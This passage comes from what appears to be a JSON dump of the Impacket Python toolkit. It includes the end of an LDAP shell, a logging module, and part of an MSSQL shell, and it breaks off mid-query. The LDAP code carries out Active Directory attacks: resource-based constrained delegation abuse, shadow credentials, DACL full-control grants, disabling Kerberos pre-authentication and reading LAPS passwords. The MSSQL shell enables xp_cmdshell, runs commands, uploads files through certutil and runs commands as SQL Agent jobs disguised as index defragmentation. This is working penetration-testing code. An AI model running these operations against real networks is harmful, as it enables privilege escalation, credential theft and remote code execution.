print('It seems you are already connected through a TLS channel.')\n\n    def do_disable_account(self, username):\n        self.toggle_account_enable_disable(username, False)\n\n    def do_enable_account(self, username):\n        self.toggle_account_enable_disable(username, True)\n\n    def toggle_account_enable_disable(self, user_name, enable):\n        UF_ACCOUNT_DISABLE = 2\n        self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(user_name), attributes=['objectSid', 'userAccountControl'])\n\n        if len(self.client.entries) != 1:\n            raise Exception(\"Error expected only one search result got %d results\", len(self.client.entries))\n\n        user_dn = self.client.entries[0].entry_dn\n        if not user_dn:\n            raise Exception(\"User not found in LDAP: %s\" % user_name)\n\n        entry = self.client.entries[0]\n        userAccountControl = entry[\"userAccountControl\"].value\n\n        print(\"Original userAccountControl: %d\" % userAccountControl) \n\n        if enable:\n            userAccountControl = userAccountControl & ~UF_ACCOUNT_DISABLE\n        else:\n            userAccountControl = userAccountControl | UF_ACCOUNT_DISABLE\n\n        self.client.modify(user_dn, {'userAccountControl':(ldap3.MODIFY_REPLACE, [userAccountControl])})\n\n        if self.client.result['result'] == 0:\n            print(\"Updated userAccountControl attribute successfully\")\n        else:\n            if self.client.result['result'] == 50:\n                raise Exception('Could not modify object, the server reports insufficient rights: %s', self.client.result['message'])\n            elif self.client.result['result'] == 19:\n                raise Exception('Could not modify object, the server reports a constrained violation: %s', self.client.result['message'])\n            else:\n                raise Exception('The server returned an error: %s', self.client.result['message'])\n\n    def do_search(self, line):\n        arguments = shlex.split(line)\n        if len(arguments) == 0:\n            raise Exception(\"A query is required.\")\n\n        filter_attributes = ['name', 'distinguishedName', 'sAMAccountName']\n        attributes = filter_attributes[:]\n        attributes.append('objectSid')\n        for argument in arguments[1:]:\n            attributes.append(argument)\n\n        search_query = \"\".join(\"(%s=*%s*)\" % (attribute, escape_filter_chars(arguments[0])) for attribute in filter_attributes)\n        self.search('(|%s)' % search_query, *attributes)\n\n    def do_set_dontreqpreauth(self, line):\n        UF_DONT_REQUIRE_PREAUTH = 4194304\n\n        args = shlex.split(line)\n        if len(args) != 2:\n            raise Exception(\"Username (SAMAccountName) and true/false flag required (e.g. jsmith true).\")\n\n        user_name = args[0]\n        flag_str = args[1]\n        flag = False\n\n        if flag_str.lower() == \"true\":\n            flag = True\n        elif flag_str.lower() == \"false\":\n            flag = False\n        else:\n            raise Exception(\"The specified flag must be either true or false\")\n\n        self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(user_name), attributes=['objectSid', 'userAccountControl'])\n        if len(self.client.entries) != 1:\n            raise Exception(\"Error expected only one search result got %d results\", len(self.client.entries))\n\n        user_dn = self.client.entries[0].entry_dn\n        if not user_dn:\n            raise Exception(\"User not found in LDAP: %s\" % user_name)\n\n        entry = self.client.entries[0]\n        userAccountControl = entry[\"userAccountControl\"].value\n        print(\"Original userAccountControl: %d\" % userAccountControl) \n\n        if flag:\n            userAccountControl = userAccountControl | UF_DONT_REQUIRE_PREAUTH\n        else:\n            userAccountControl = userAccountControl & ~UF_DONT_REQUIRE_PREAUTH\n\n        print(\"Updated userAccountControl: %d\" % userAccountControl) \n        self.client.modify(user_dn, {'userAccountControl':(ldap3.MODIFY_REPLACE, [userAccountControl])})\n\n        if self.client.result['result'] == 0:\n            print(\"Updated userAccountControl attribute successfully\")\n        else:\n            if self.client.result['result'] == 50:\n                raise Exception('Could not modify object, the server reports insufficient rights: %s', self.client.result['message'])\n            elif self.client.result['result'] == 19:\n                raise Exception('Could not modify object, the server reports a constrained violation: %s', self.client.result['message'])\n            else:\n                raise Exception('The server returned an error: %s', self.client.result['message'])\n\n    def do_get_user_groups(self, user_name):\n        user_dn = self.get_dn(user_name)\n        if not user_dn:\n            raise Exception(\"User not found in LDAP: %s\" % user_name)\n\n        self.search('(member:%s:=%s)' % (LdapShell.LDAP_MATCHING_RULE_IN_CHAIN, escape_filter_chars(user_dn)))\n\n    def do_get_group_users(self, group_name):\n        group_dn = self.get_dn(group_name)\n        if not group_dn:\n            raise Exception(\"Group not found in LDAP: %s\" % group_name)\n\n        self.search('(memberof:%s:=%s)' % (LdapShell.LDAP_MATCHING_RULE_IN_CHAIN, escape_filter_chars(group_dn)), \"sAMAccountName\", \"name\")\n\n    def do_get_laps_password(self, computer_name):\n\n        self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(computer_name), attributes=['ms-MCS-AdmPwd'])\n        if len(self.client.entries) != 1:\n            raise Exception(\"Error expected only one search result got %d results\", len(self.client.entries))\n\n        computer = self.client.entries[0]\n        print(\"Found Computer DN: %s\" % computer.entry_dn)\n\n        password = computer[\"ms-MCS-AdmPwd\"].value\n\n        if password is not None:\n            print(\"LAPS Password: %s\" % password)\n        else:\n            print(\"Unable to Read LAPS Password for Computer\")\n\n    def do_grant_control(self, line):\n        args = shlex.split(line)\n        if len(args) == 2:\n            target_spec, grantee_name = args\n            target_base = self.domain_dumper.root\n        elif len(args) == 3:\n            target_base, target_spec, grantee_name = args\n        else:\n            raise Exception(f'Expecting target and grantee or search base, target and grantee. Received {len(args)} arguments instead.')\n\n        if target_spec.startswith('(') and target_spec.endswith(')'):\n            target_filter = target_spec\n        else:\n            target_filter = f'(sAMAccountName={escape_filter_chars(target_spec)})'\n\n        controls = security_descriptor_control(sdflags=0x04)\n\n        self.client.search(self.domain_dumper.root, f'(sAMAccountName={escape_filter_chars(grantee_name)})', attributes=['objectSid'], controls=controls)\n        if not self.client.entries:\n            raise Exception('Grantee not found')\n        if len(self.client.entries) > 1:\n            raise Exception('Grantee not unique')\n        grantee_sid = self.client.entries[0]['objectSid'].value\n        print(f'Resolved {grantee_name!r} to {grantee_sid!r}')\n\n        self.client.search(target_base, target_filter, attributes=['nTSecurityDescriptor'], controls=controls)\n        if not self.client.entries:\n            raise Exception('Target not found')\n        if len(self.client.entries) > 1:\n            raise Exception('Target not unique')\n        target_entry = self.client.entries[0]\n        print(f'Resolved {target_filter!r} to {target_entry.entry_dn!r}')\n\n        try:\n            sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=target_entry['nTSecurityDescriptor'].raw_values[0])\n        except IndexError:\n            sd = self.create_empty_sd()\n        sd['Dacl'].aces.append(self.create_allow_ace(grantee_sid))\n\n        self.client.modify(target_entry.entry_dn, {'nTSecurityDescriptor': [ldap3.MODIFY_REPLACE, [sd.getData()]]}, controls=controls)\n        if self.client.result['result'] == 0:\n            print('DACL modified successfully!')\n            print(f'{grantee_name!r} now has control of {target_entry.entry_dn!r}')\n        elif self.client.result['result'] == 50:\n            raise Exception(f'Could not modify object, the server reports insufficient rights: {self.client.result[\"message\"]}')\n        elif self.client.result['result'] == 19:\n            raise Exception(f'Could not modify object, the server reports a constrained violation: {self.client.result[\"message\"]}')\n        else:\n            raise Exception(f'The server returned an error: {self.client.result[\"message\"]}')\n\n    def do_set_rbcd(self, line):\n        args = shlex.split(line)\n\n        if len(args) != 1 and len(args) != 2:\n            raise Exception(\"Error expecting target and grantee names for RBCD attack. Recieved %d arguments instead.\" % len(args))\n\n        target_name = args[0]\n        grantee_name = args[1]\n\n        target_sid = args[0]\n        grantee_sid = args[1]\n\n        success = self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(target_name), attributes=['objectSid', 'msDS-AllowedToActOnBehalfOfOtherIdentity'])\n        if success is False or len(self.client.entries) != 1:\n            raise Exception(\"Error expected only one search result got %d results\", len(self.client.entries))\n\n        target = self.client.entries[0]\n        target_sid = target[\"objectSid\"].value\n        print(\"Found Target DN: %s\" % target.entry_dn)\n        print(\"Target SID: %s\\n\" % target_sid)\n\n        success = self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(grantee_name), attributes=['objectSid'])\n        if success is False or len(self.client.entries) != 1:\n            raise Exception(\"Error expected only one search result got %d results\", len(self.client.entries))\n\n        grantee = self.client.entries[0]\n        grantee_sid = grantee[\"objectSid\"].value\n        print(\"Found Grantee DN: %s\" % grantee.entry_dn)\n        print(\"Grantee SID: %s\" % grantee_sid)\n\n        try:\n            sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=target['msDS-AllowedToActOnBehalfOfOtherIdentity'].raw_values[0])\n            print('Currently allowed sids:')\n            for ace in sd['Dacl'].aces:\n                print('    %s' % ace['Ace']['Sid'].formatCanonical())\n\n                if ace['Ace']['Sid'].formatCanonical() == grantee_sid:\n                    print(\"Grantee is already permitted to perform delegation to the target host\")\n                    return\n\n        except IndexError:\n            sd = self.create_empty_sd()\n\n        sd['Dacl'].aces.append(self.create_allow_ace(grantee_sid))\n        self.client.modify(target.entry_dn, {'msDS-AllowedToActOnBehalfOfOtherIdentity':[ldap3.MODIFY_REPLACE, [sd.getData()]]})\n\n        if self.client.result['result'] == 0:\n            print('Delegation rights modified successfully!')\n            print('%s can now impersonate users on %s via S4U2Proxy' % (grantee_name, target_name))\n        else:\n            if self.client.result['result'] == 50:\n                raise Exception('Could not modify object, the server reports insufficient rights: %s', self.client.result['message'])\n            elif self.client.result['result'] == 19:\n                raise Exception('Could not modify object, the server reports a constrained violation: %s', self.client.result['message'])\n            else:\n                raise Exception('The server returned an error: %s', self.client.result['message'])\n\n    def do_set_shadow_creds(self, line):\n        args = shlex.split(line)\n\n        if len(args) != 1:\n            raise Exception(\"Error expecting target name for shadow credentials attack. Recieved %d arguments instead.\" % len(args))\n\n        target_name = args[0]\n\n        success = self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(target_name), attributes=['objectSid', 'msDS-KeyCredentialLink'])\n        if success is False or len(self.client.entries) != 1:\n            raise Exception(\"Error expected only one search result got %d results\", len(self.client.entries))\n\n        target = self.client.entries[0]\n        target_sid = target[\"objectSid\"].value\n        print(\"Found Target DN: %s\" % target.entry_dn)\n        print(\"Target SID: %s\\n\" % target_sid)\n\n        key, certificate = shadow_credentials.createSelfSignedX509Certificate(subject=target_name)\n        device_id = shadow_credentials.getDeviceId()\n        keyCredential = shadow_credentials.KeyCredential(key, deviceId=device_id, currentTime=shadow_credentials.getTicksNow())\n        print(\"KeyCredential generated with DeviceID: %s\" % uuid.UUID(bytes=device_id))\n\n        try:\n            new_values = target['msDS-KeyCredentialLink'].raw_values + [shadow_credentials.toDNWithBinary2String(keyCredential.dumpBinary(), target.entry_dn)]\n            self.client.modify(target.entry_dn, {'msDS-KeyCredentialLink': [ldap3.MODIFY_REPLACE, new_values]})\n            print(\"Shadow credentials successfully added!\")\n            if self.client.result['result'] == 0:\n                path = ''.join(random.choice(string.ascii_letters + string.digits) for i in range(8))\n                password = ''.join(random.choice(string.ascii_letters + string.digits) for i in range(20))\n                shadow_credentials.exportPFX(certificate, key, password=password, path_to_file=path)\n                print(\"Saved PFX (#PKCS12) certificate & key at path: %s\" % path + \".pfx\")\n                print(\"Must be used with password: %s\" % password)\n            else:\n                if self.client.result['result'] == 50:\n                    print('Could not modify object, the server reports insufficient rights: %s' % self.client.result['message'])\n                elif self.client.result['result'] == 19:\n                    print('Could not modify object, the server reports a constrained violation: %s' % self.client.result['message'])\n                else:\n                    print('The server returned an error: %s' % self.client.result['message'])\n        except IndexError as e:\n            print('Attribute msDS-KeyCredentialLink does not exist')\n        return\n\n    def do_clear_shadow_creds(self, target):\n        success = self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(target), attributes=['objectSid', 'msDS-KeyCredentialLink'])\n        if success is False or len(self.client.entries) != 1:\n            raise Exception(\"Error expected only one search result got %d results\", len(self.client.entries))\n\n        target = self.client.entries[0]\n        target_sid = target[\"objectsid\"].value\n        print(\"Found Target DN: %s\" % target.entry_dn)\n        print(\"Target SID: %s\\n\" % target_sid)\n\n        self.client.modify(target.entry_dn, {'msDS-KeyCredentialLink':[ldap3.MODIFY_REPLACE, []]})\n        if self.client.result['result'] == 0:\n            print('Shadow credentials cleared successfully!')\n        else:\n            if self.client.result['result'] == 50:\n                raise Exception('Could not modify object, the server reports insufficient rights: %s', self.client.result['message'])\n            elif self.client.result['result'] == 19:\n                raise Exception('Could not modify object, the server reports a constrained violation: %s', self.client.result['message'])\n            else:\n                raise Exception('The server returned an error: %s', self.client.result['message'])\n\n    def search(self, query, *attributes):\n        self.client.search(self.domain_dumper.root, query, attributes=attributes)\n        for entry in self.client.entries:\n            print(entry.entry_dn)\n            for attribute in attributes:\n                value = entry[attribute].value\n                if value:\n                    print(\"%s: %s\" % (attribute, entry[attribute].value))\n            if any(attributes):\n                print(\"---\")\n\n    def get_dn(self, sam_name):\n        if \",\" in sam_name:\n            return sam_name\n\n        try:\n            self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(sam_name), attributes=['objectSid'])\n            return self.client.entries[0].entry_dn\n        except IndexError:\n            return None\n\n    def do_whoami(self, line):\n        print(self.client.extend.standard.who_am_i())\n\n    def do_dirsync(self, line):\n        arguments = shlex.split(line)\n        if len(arguments) == 0:\n            raise Exception(\"A query is required.\")\n\n        domain_dn = self.domain_dumper.root\n        sync_filter = arguments[0]\n        attributes = list(set(['name', 'sAMAccountName', 'objectsid'] + arguments[1:]))\n        \n        sync = self.client.extend.microsoft.dir_sync(domain_dn, attributes=attributes, sync_filter=sync_filter, incremental_values=False)\n\n        results = []\n        while sync.more_results:\n            results += sync.loop()\n\n        for result in results:\n            print(result['dn'])\n            for k, v in result['attributes'].items():\n                print(k, v)\n            print()\n\n    def do_exit(self, line):\n        if self.shell is not None:\n            self.shell.close()\n        return True\n\n    def do_help(self, line):\n        print(\"\"\"\n add_computer computer [password] [nospns] - Adds a new computer to the domain with the specified password. If nospns is specified, computer will be created with only a single necessary HOST SPN. Requires LDAPS.\n rename_computer current_name new_name - Sets the SAMAccountName attribute on a computer object to a new value.\n add_user new_user [parent] - Creates a new user.\n add_user_to_group user group - Adds a user to a group.\n change_password user [password] - Attempt to change a given user's password. Requires LDAPS.\n clear_rbcd target - Clear the resource based constrained delegation configuration information.\n clear_shadow_creds target - Clear shadow credentials on the target (sAMAccountName).\n disable_account user - Disable the user's account.\n enable_account user - Enable the user's account.\n dump - Dumps the domain.\n search query [attributes,] - Search users and groups by name, distinguishedName and sAMAccountName.\n get_user_groups user - Retrieves all groups this user is a member of.\n get_group_users group - Retrieves all members of a group.\n get_laps_password computer - Retrieves the LAPS passwords associated with a given computer (sAMAccountName).\n grant_control [search_base] target grantee - Grant full control on a given target object (sAMAccountName or search filter, optional search base) to the grantee (sAMAccountName).\n set_dontreqpreauth user true/false - Set the don't require pre-authentication flag to true or false.\n set_rbcd target grantee - Grant the grantee (sAMAccountName) the ability to perform RBCD to the target (sAMAccountName).\nset_shadow_creds target - Set shadow credentials on the target object (sAMAccountName).\n start_tls - Send a StartTLS command to upgrade from LDAP to LDAPS. Use this to bypass channel binding for operations necessitating an encrypted channel.\n write_gpo_dacl user gpoSID - Write a full control ACE to the gpo for the given user. The gpoSID must be entered surrounding by {}.\n whoami - get connected user\n dirsync - Dirsync requested attributes\n exit - Terminates this session.\"\"\")\n\n    def do_EOF(self, line):\n        print('Bye!\\n')\n        return True\n"
  },
  {
    "path": "impacket/examples/logger.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   This logger is intended to be used by impacket instead\n#   of printing directly. This will allow other libraries to use their\n#   custom logging implementation.\n#\n\nimport logging\nimport sys\nfrom impacket import version\nfrom impacket.examples.ntlmrelayx.utils.identity_log import IdentityFilter\n\n# This module can be used by scripts using the Impacket library \n# in order to configure the root logger to output events \n# generated by the library with a predefined format\n\n# If the scripts want to generate log entries, they can write\n# directly to the root logger (logging.info, debug, etc).\n\nclass ImpacketFormatter(logging.Formatter):\n  '''\n  Prefixing logged messages through the custom attribute 'bullet'.\n  '''\n  def __init__(self):\n      logging.Formatter.__init__(self,'%(bullet)s %(identity)s%(message)s', None)\n\n  def format(self, record):\n    if record.levelno == logging.INFO:\n      record.bullet = '[*]'\n    elif record.levelno == logging.DEBUG:\n      record.bullet = '[+]'\n    elif record.levelno == logging.WARNING:\n      record.bullet = '[!]'\n    else:\n      record.bullet = '[-]'\n\n    if not hasattr(record, 'identity'): record.identity = ''\n\n    return logging.Formatter.format(self, record)\n\nclass ImpacketFormatterTimeStamp(ImpacketFormatter):\n  '''\n  Prefixing logged messages through the custom attribute 'bullet'.\n  '''\n  def __init__(self):\n      logging.Formatter.__init__(self,'[%(asctime)-15s] %(bullet)s %(identity)s%(message)s', None)\n\n  def formatTime(self, record, datefmt=None):\n      return ImpacketFormatter.formatTime(self, record, datefmt=\"%Y-%m-%d %H:%M:%S\")\n\ndef init(ts=False, debug=False):\n    # We add a StreamHandler and formatter to the root logger\n    handler = logging.StreamHandler(sys.stdout)\n\n    if ts:\n        handler.setFormatter(ImpacketFormatterTimeStamp())\n    else:\n        handler.setFormatter(ImpacketFormatter())\n\n    handler.addFilter(IdentityFilter())\n\n    logging.getLogger().addHandler(handler)\n\n    if debug is True:\n        logging.getLogger().setLevel(logging.DEBUG)\n        # Print the Library's installation path\n        logging.debug(version.getInstallationPath())\n    else:\n        logging.getLogger().setLevel(logging.INFO)\n        logging.getLogger('impacket.smbserver').setLevel(logging.ERROR)\n"
  },
  {
    "path": "impacket/examples/mssqlshell.py",
    "content": "#!/usr/bin/env python\r\n# Impacket - Collection of Python classes for working with network protocols.\r\n#\r\n# Copyright Fortra, LLC and its affiliated companies \r\n#\r\n# All rights reserved.\r\n#\r\n# This software is provided under a slightly modified version\r\n# of the Apache Software License. See the accompanying LICENSE file\r\n# for more information.\r\n#\r\n# Description:\r\n#   [MS-TDS] & [MC-SQLR] example.\r\n#\r\n# Author:\r\n#   Alberto Solino (@agsolino)\r\n#\r\n# Reference for:\r\n#   Structure\r\n#\r\n\r\nimport os\r\nimport cmd\r\nimport sys\r\n\r\n# for \"do_upload\"\r\nimport hashlib\r\nimport base64\r\nimport shlex\r\n\r\nclass SQLSHELL(cmd.Cmd):\r\n    def __init__(self, SQL, show_queries=False, tcpShell=None):\r\n        if tcpShell is not None:\r\n            cmd.Cmd.__init__(self, stdin=tcpShell.stdin, stdout=tcpShell.stdout)\r\n            sys.stdout = tcpShell.stdout\r\n            sys.stdin = tcpShell.stdin\r\n            sys.stderr = tcpShell.stdout\r\n            self.use_rawinput = False\r\n            self.shell = tcpShell\r\n        else:\r\n            cmd.Cmd.__init__(self)\r\n            self.shell = None\r\n\r\n        self.sql = SQL\r\n        self.show_queries = show_queries\r\n        self.at = []\r\n        self.set_prompt()\r\n        self.intro = '[!] Press help for extra shell commands'\r\n\r\n    def print_replies(self):\r\n        # to condense all calls to sql.printReplies with right logger in this context\r\n        self.sql.printReplies(error_logger=print, info_logger=print)\r\n\r\n    def do_help(self, line):\r\n        print(\"\"\"\r\n    lcd {path}                 - changes the current local directory to {path}\r\n    exit                       - terminates the server process (and this session)\r\n    enable_xp_cmdshell         - you know what it means\r\n    disable_xp_cmdshell        - you know what it means\r\n    enum_db                    - enum databases\r\n    enum_links                 - enum linked servers\r\n    enum_impersonate           - check logins that can be impersonated\r\n    enum_logins                - enum login users\r\n    enum_users                 - enum current db users\r\n    enum_owner                 - enum db owner\r\n    exec_as_user {user}        - impersonate with execute as user\r\n    exec_as_login {login}      - impersonate with execute as login\r\n    xp_cmdshell {cmd}          - executes cmd using xp_cmdshell\r\n    xp_dirtree {path}          - executes xp_dirtree on the path\r\n    sp_start_job {cmd}         - executes cmd using the sql server agent (blind)\r\n    use_link {link}            - linked server to use (set use_link localhost to go back to local or use_link .. to get back one step)\r\n    ! {cmd}                    - executes a local shell cmd\r\n    upload {from} {to}         - uploads file {from} to the SQLServer host {to}\r\n    download {from} {to}       - downloads file from the SQLServer host {from} to {to}\r\n    show_query                 - show query\r\n    mask_query                 - mask query\r\n    \"\"\")\r\n\r\n    def postcmd(self, stop, line):\r\n        self.set_prompt()\r\n        return stop\r\n\r\n    def set_prompt(self):\r\n        try:\r\n            row = self.sql_query('select system_user + SPACE(2) + current_user as \"username\"', False)\r\n            username_prompt = row[0]['username']\r\n        except:\r\n            username_prompt = '-'\r\n        if self.at is not None and len(self.at) > 0:\r\n            at_prompt = ''\r\n            for (at, prefix) in self.at:\r\n                at_prompt += '>' + at\r\n            self.prompt = 'SQL %s (%s@%s)> ' % (at_prompt, username_prompt, self.sql.currentDB)\r\n        else:\r\n            self.prompt = 'SQL (%s@%s)> ' % (username_prompt, self.sql.currentDB)\r\n\r\n    def do_show_query(self, s):\r\n        self.show_queries = True\r\n\r\n    def do_mask_query(self, s):\r\n        self.show_queries = False\r\n\r\n    def execute_as(self, exec_as):\r\n        if self.at is not None and len(self.at) > 0:\r\n            (at, prefix) = self.at[-1:][0]\r\n            self.at = self.at[:-1]\r\n            self.at.append((at, exec_as))\r\n        else:\r\n            self.sql_query(exec_as)\r\n            self.print_replies()\r\n\r\n    def do_exec_as_login(self, s):\r\n        exec_as = \"execute as login='%s';\" % s\r\n        self.execute_as(exec_as)\r\n\r\n    def do_exec_as_user(self, s):\r\n        exec_as = \"execute as user='%s';\" % s\r\n        self.execute_as(exec_as)\r\n\r\n    def do_use_link(self, s):\r\n        if s == 'localhost':\r\n            self.at = []\r\n        elif s == '..':\r\n            self.at = self.at[:-1]\r\n        else:\r\n            self.at.append((s, ''))\r\n            row = self.sql_query('select system_user as \"username\"')\r\n            self.print_replies()\r\n            if len(row) < 1:\r\n                self.at = self.at[:-1]\r\n\r\n    def sql_query(self, query, show=True):\r\n        if self.at is not None and len(self.at) > 0:\r\n            for (linked_server, prefix) in self.at[::-1]:\r\n                query = \"EXEC ('\" + prefix.replace(\"'\", \"''\") + query.replace(\"'\", \"''\") + \"') AT \" + linked_server\r\n        if self.show_queries and show:\r\n            print('[%%] %s' % query)\r\n        return self.sql.sql_query(query)\r\n\r\n    def do_shell(self, s):\r\n        os.system(s)\r\n\r\n    def do_download(self, line):\r\n        try:\r\n            args = shlex.split(line, posix=False)\r\n            remote_path = args[0]\r\n            local_path = args[1]\r\n\r\n            # check permission\r\n            result = self.sql_query(\"SELECT HAS_PERMS_BY_NAME(NULL, NULL, 'ADMINISTER BULK OPERATIONS') AS HasBulkAdminPermission\")\r\n            if result[0].get('HasBulkAdminPermission') != 1:\r\n                print(\"[-] Current user does not have 'ADMINISTER BULK OPERATIONS' permission\")\r\n                return\r\n\r\n            # download file\r\n            result = self.sql_query(\"SELECT * FROM sys.dm_os_file_exists('\" + remote_path + \"')\")\r\n            # This iters through the dict returned by MSSQL and gets the first key which stores if the file exists or not\r\n            first_key = next(iter(result[0]))\r\n            # If the value is not 1, the file doesn't exist\r\n            if result[0].get(first_key) != 1:\r\n                print(\"[-] File does not exist\")\r\n                return\r\n            print(\"[+] File exists, downloading...\")\r\n            result = self.sql_query(\"SELECT * FROM OPENROWSET(BULK N'\" + remote_path + \"', SINGLE_BLOB) AS HexContent\")\r\n            if len(result) == 0:\r\n                print(\"[-] Error downloading file. File is either empty or access is denied\")\r\n                return\r\n\r\n            # write to disk\r\n            print(\"[+] Writing file to disk...\")\r\n            with open(local_path, 'wb') as f:\r\n                data = bytes.fromhex(result[0].get('BulkColumn').decode())\r\n                f.write(data)\r\n            print(\"[+] Downloaded\")\r\n        except Exception as e:\r\n            print(\"[-] Unhandled Exception:\", e)\r\n\r\n    def do_upload(self, line):\r\n        BUFFER_SIZE = 5 * 1024\r\n        try:\r\n            # validate \"xp_cmdshell\" is enabled\r\n            self.sql_query(\"exec master.dbo.sp_configure 'show advanced options', 1; RECONFIGURE;\")\r\n            result = self.sql_query(\"exec master.dbo.sp_configure 'xp_cmdshell'\")\r\n            self.sql_query(\"exec master.dbo.sp_configure 'show advanced options', 0; RECONFIGURE;\")\r\n            if result[0].get('run_value') != 1:\r\n                print(\"[-] xp_cmdshell not enabled. Try running 'enable_xp_cmdshell' first\")\r\n                return\r\n\r\n            args = shlex.split(line, posix=False)\r\n            local_path = args[0]\r\n            remote_path = args[1]\r\n\r\n            # upload file\r\n            with open(local_path, 'rb') as f:\r\n                data = f.read()\r\n                md5sum = hashlib.md5(data).hexdigest()\r\n                b64enc_data = b\"\".join(base64.b64encode(data).split()).decode()\r\n            print(\"[+] Data length (b64-encoded): %.2f KB with MD5: %s\" % (len(b64enc_data) / 1024, str(md5sum)))\r\n            print(\"[+] Uploading...\")\r\n            for i in range(0, len(b64enc_data), BUFFER_SIZE):\r\n                cmd = 'echo ' + b64enc_data[i:i+BUFFER_SIZE] + ' >> \"' + remote_path + '.b64\"'\r\n                self.sql_query(\"EXEC xp_cmdshell '\" + cmd + \"'\")\r\n            result = self.sql_query(\"EXEC xp_fileexist '\" + remote_path + \".b64'\")\r\n            # This iters through the dict returned by MSSQL and gets the first key which stores if the file exists or not\r\n            first_key = next(iter(result[0]))\r\n            # If the value is not 1, the file doesn't exist\r\n            if result[0].get(first_key) != 1:\r\n                print(\"[-] Error uploading file. Check permissions in the configured remote path\")\r\n                return\r\n            print(\"[+] Uploaded\")\r\n\r\n            # decode\r\n            cmd = 'certutil -decode \"' + remote_path + '.b64\" \"' + remote_path + '\"'\r\n            self.sql_query(\"EXEC xp_cmdshell '\" + cmd + \"'\")\r\n            print(\"[+] \" + cmd)\r\n\r\n            # remove encoded\r\n            cmd = 'del \"' + remote_path + '.b64\"'\r\n            self.sql_query(\"EXEC xp_cmdshell '\" + cmd + \"'\")\r\n            print(\"[+] \" + cmd)\r\n\r\n            # validate hash\r\n            cmd = 'certutil -hashfile \"' + remote_path + '\" MD5'\r\n            result = self.sql_query(\"EXEC xp_cmdshell '\" + cmd + \"'\")\r\n            print(\"[+] \" + cmd)\r\n            md5sum_uploaded = result[1].get('output').replace(\" \", \"\")\r\n            if md5sum == md5sum_uploaded:\r\n                print(\"[+] MD5 hashes match\")\r\n            else:\r\n                print(\"[-] ERROR! MD5 hashes do NOT match!\")\r\n                print(\"[+] Uploaded file MD5: %s\" % md5sum_uploaded)\r\n        except Exception as e:\r\n            print(\"[-] Unhandled Exception:\", e)\r\n\r\n    def do_xp_dirtree(self, s):\r\n        try:\r\n            self.sql_query(\"exec master.sys.xp_dirtree '%s',1,1\" % s)\r\n            self.print_replies()\r\n            self.sql.printRows()\r\n        except:\r\n            pass\r\n\r\n    def do_xp_cmdshell(self, s):\r\n        try:\r\n            self.sql_query(\"exec master..xp_cmdshell '%s'\" % s)\r\n            self.print_replies()\r\n            self.sql.colMeta[0]['TypeData'] = 80*2\r\n            self.sql.printRows()\r\n        except:\r\n            pass\r\n\r\n    def do_sp_start_job(self, s):\r\n        try:\r\n            self.sql_query(\"DECLARE @job NVARCHAR(100);\"\r\n                                \"SET @job='IdxDefrag'+CONVERT(NVARCHAR(36),NEWID());\"\r\n                                \"EXEC msdb..sp_add_job @job_name=@job,@description='INDEXDEFRAG',\"\r\n                                \"@owner_login_name='sa',@delete_level=3;\"\r\n                                \"EXEC msdb..sp_add_jobstep @job_name=@job,@step_id=1,@step_name='Defragmentation',\"\r\n                                \"@subsystem='CMDEXEC',@command='%s',@on_success_action=1;\"\r\n                                \"EXEC msdb..sp_add_jobserver @job_name=@job;\"\r\n                                \"EXEC msdb..sp_start_job @job_name=@job;\" % s)\r\n            self.print_replies()\r\n            self.sql.printRows()\r\n        except:\r\n            pass\r\n\r\n    def do_lcd(self, s):\r\n        if s == '':\r\n            print(os.getcwd())\r\n        else:\r\n            os.chdir(s)\r\n\r\n    def do_enable_xp_cmdshell(self, line):\r\n        try:\r\n            self.sql_query(\"exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;\"\r\n                                \"exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;\")\r\n            self.print_replies()\r\n            self.sql.printRows()\r\n        except:\r\n            pass\r\n\r\n    def do_disable_xp_cmdshell(self, line):\r\n        try:\r\n            self.sql_query(\"exec sp_configure 'xp_cmdshell', 0 ;RECONFIGURE;exec sp_configure \"\r\n                            \"'show advanced options', 0 ;RECONFIGURE;\")\r\n            self.print_replies()\r\n            self.sql.printRows()\r\n        except:\r\n            pass\r\n\r\n    def do_enum_links(self, line):\r\n        self.sql_query(\"EXEC sp_linkedservers\")\r\n        self.print_replies()\r\n        self.sql.printRows()\r\n        self.sql_query(\"EXEC sp_helplinkedsrvlogin\")\r\n        self.print_replies()\r\n        self.sql.printRows()\r\n\r\n    def do_enum_users(self, line):\r\n        self.sql_query(\"EXEC sp_helpuser\")\r\n        self.print_replies()\r\n        self.sql.printRows()\r\n\r\n    def do_enum_db(self, line):\r\n        try:\r\n            self.sql_query(\"select name, is_trustworthy_on from sys.databases\")\r\n            self.print_replies()\r\n            self.sql.printRows()\r\n        except:\r\n            pass\r\n\r\n    def do_enum_owner(self, line):\r\n        try:\r\n            self.sql_query(\"SELECT name [Database], suser_sname(owner_sid) [Owner] FROM sys.databases\")\r\n            self.print_replies()\r\n            self.sql.printRows()\r\n        except:\r\n            pass\r\n\r\n    def do_enum_impersonate(self, line):\r\n        old_db = self.sql.currentDB\r\n        try:\r\n            self.sql_query(\"select name from sys.databases\")\r\n            result = []\r\n            for row in self.sql.rows:\r\n                result_rows = self.sql_query(\"use \" + row['name'] + \"; SELECT 'USER' as 'execute as', DB_NAME() \"\r\n                                                                    \"AS 'database',pe.permission_name,\"\r\n                                                                    \"pe.state_desc, pr.name AS 'grantee', \"\r\n                                                                    \"pr2.name AS 'grantor' \"\r\n                                                                    \"FROM sys.database_permissions pe \"\r\n                                                                    \"JOIN sys.database_principals pr ON \"\r\n                                                                    \"  pe.grantee_principal_id = pr.principal_Id \"\r\n                                                                    \"JOIN sys.database_principals pr2 ON \"\r\n                                                                    \"  